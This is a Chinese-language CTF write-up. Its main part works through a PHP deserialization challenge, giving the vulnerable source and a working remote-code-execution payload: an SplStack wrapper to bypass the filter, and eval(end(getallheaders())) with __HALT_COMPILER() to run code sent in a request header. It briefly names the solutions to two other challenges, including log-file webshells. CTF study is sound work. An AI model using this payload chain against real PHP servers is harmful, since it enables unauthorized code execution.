4号的罗纳尔多

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'givemegirlfriend!');
} else {
echo 'nonono';
}
}
}

if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
unserialize($_GET['Pochy']);
} else {
echo 'nonono';
}


image-20230616180925417

重点在这个正则这里,这里的话是只能使用字母下划线和括号还有;

那么就可以猜出来这里是考察的使用函数来进行RCE

image-20230616181103226

这里的话对序列化字符也有限制,就是不能使用Oa打头的,那么就只剩一种了,就是之前ctfshow出的一个题了 就是使用内置类 C打头的 C打头的内置类

(这里的a打头就是在O打头的基础上加个array()函数而已)

还把array打头的类给禁掉了,不过没事

image-20230616185732553

这些类都可以使用

只不过Spl开头的相对于Array打头的多一个push()函数

所以说先构造一下链子

1
2
3
4
5
6
7
$a = new evil;
$a -> cmd = "rce";
$arr=array("evil"=>$a);
$oa=new SplStack();
$oa -> push($arr);
$res=serialize($oa);
echo $res;

链子就构造完成了,但是这个执行命令的时候会有一个麻烦就是

eval($this->cmd.'givemegirlfriend!');这个后面会有一个字符串,并且;的会被替换掉,不能使用,所以这里的话就得使用一个新的方法

__HALT_COMPILER()函数来截断后面的非法语句,这个熟悉phar协议的师傅都知道,它是phar文件的文件标识,这个函数会中断php的执行,并且不会检查后面的语句,而exit()这些中断函数即使中断了也会检查后面的php语句,如果报错则会抛出错误,所以这里是不能用exit和die的。

然后因为这个只能通过函数方法来进行rce,那么这里就有两篇文章专门讲了这个

讲的是使用函数来进行rce 也是讲的函数RCE

最后的payload

1
2
3
4
5
6
7
8
$a = new evil;
$a -> cmd = "eval(end(getallheaders()));__HALT_COMPILER();";
$arr=array("evil"=>$a);
$oa=new SplStack();
$oa -> push($arr);
$res=serialize($oa);
echo $res;
//这里话不只有SplStack这个类可以使用,上面图片中含有的类都可以使用

getallheaders()这个函数是得在apache服务器下使用的,nginx不行

image-20230616191354197

成功执行代码

Confronting robot

这里的因为没有环境,所以就不复现了

这题的话是由预期解是主从复制 主从复制wp1 主从复制wp2

非预期1是日志写入马 日志写马1 日志写马2

非预期2是修改用户属性 修改用户属性

Tasks

这是题目的项目地址 tasks

就是通过审计这个代码来发现漏洞利用点的

wp